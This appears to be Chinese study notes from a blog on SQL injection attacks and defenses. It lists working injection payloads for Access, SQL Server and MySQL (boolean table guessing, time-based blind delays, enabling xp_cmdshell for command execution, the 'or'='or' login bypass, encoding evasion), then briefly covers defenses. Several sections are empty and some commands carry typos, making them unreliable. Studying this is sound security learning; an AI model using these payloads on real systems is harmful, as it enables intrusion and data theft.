sql注入攻击与防护

一:不同数据库的SQL注入
1:Access的sql注入,ASP+Access;猜解:猜解表名,猜解列名,猜解字段值长度,
    ASC||逐字解码法猜解字段值。
    a:对表名的猜解,select count(*|这个星号代表全部|) from +formname>0;
    猜表名:and (select count(*) from table)>0/and exists (select * from table)
    猜长度: and (select len(word) from table  where id = 1)>1
    猜字段值:and (select top 1 asc(mid(word,2,1))from table)>1
    b:id注入工具;常见表名字典;
    c:猜解字符串长度,返回值
    d:asc(mid(url,1|这里是第几位|,1|延续几位|)) from +表名  


2:Mysql的SQL注入。
php+mysql


3:SQLserver的SQL注入


二:基于不同方法的条件语句的使用
1:基于时间--基于web应用响应时间上的差异
基于时间:(SQLserver)有管理员访问权限;
if (system_user = 'sa') waitfor delay '0:0:5' -
if (substring((select @@version),25,1)=5) waitfor delay '0:5:15' --
判断版本;
exec master..xp_cmdshell 'ping -n 5 127.0.0.1'
有管理员访问权限,没有启动xp_cmdshell,于2005和2008版本.
exec sp_config 'show advanced options',1;
eeconfiture;exec sp_confiture 'xp_cmdshell' 1;
2000版本;
exec master..sp_addextendedproc 'xp_cmdshell','xplog70.dll';
基于时间(mysql)
select benchmark(1000000),shal('fooyiing');|进行1000000万次|
select sleep(5);(5.0.12版本以上)|延迟5秒|
2:基于错误--根据指定位置值的不同来触发不同错误响应并提取位值


3:基于内容--基于页面返回的不同HTML进行相关的判断
%2B case when (system_user ='sa') then 1 else 0 end;
三:其他SQL注入利用手法
1:万能密码 'or'='or'  
sql="select * from users when username=' " &"'and passwd='" &password &"'"
sql-"select * from users when username='' or'='or" and passwd="admin"
2:字符转换与编码的处理
a:declare与ox6e---16进制编码处理;
b:二次编码
c:/**/替换空格
四:SQL注入的防御
1:基础与二次过滤
a:输入检查,特殊符号的过滤;|黑名单|
2:不同语言的SQL防御---使用参数化语句|
Java?占位符,jsf类的输入验证;
3:平台层的防御
a:web应用防火墙
b:url策略与页面层策略
c:数据库权限控制
d:额外的部署考虑;
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值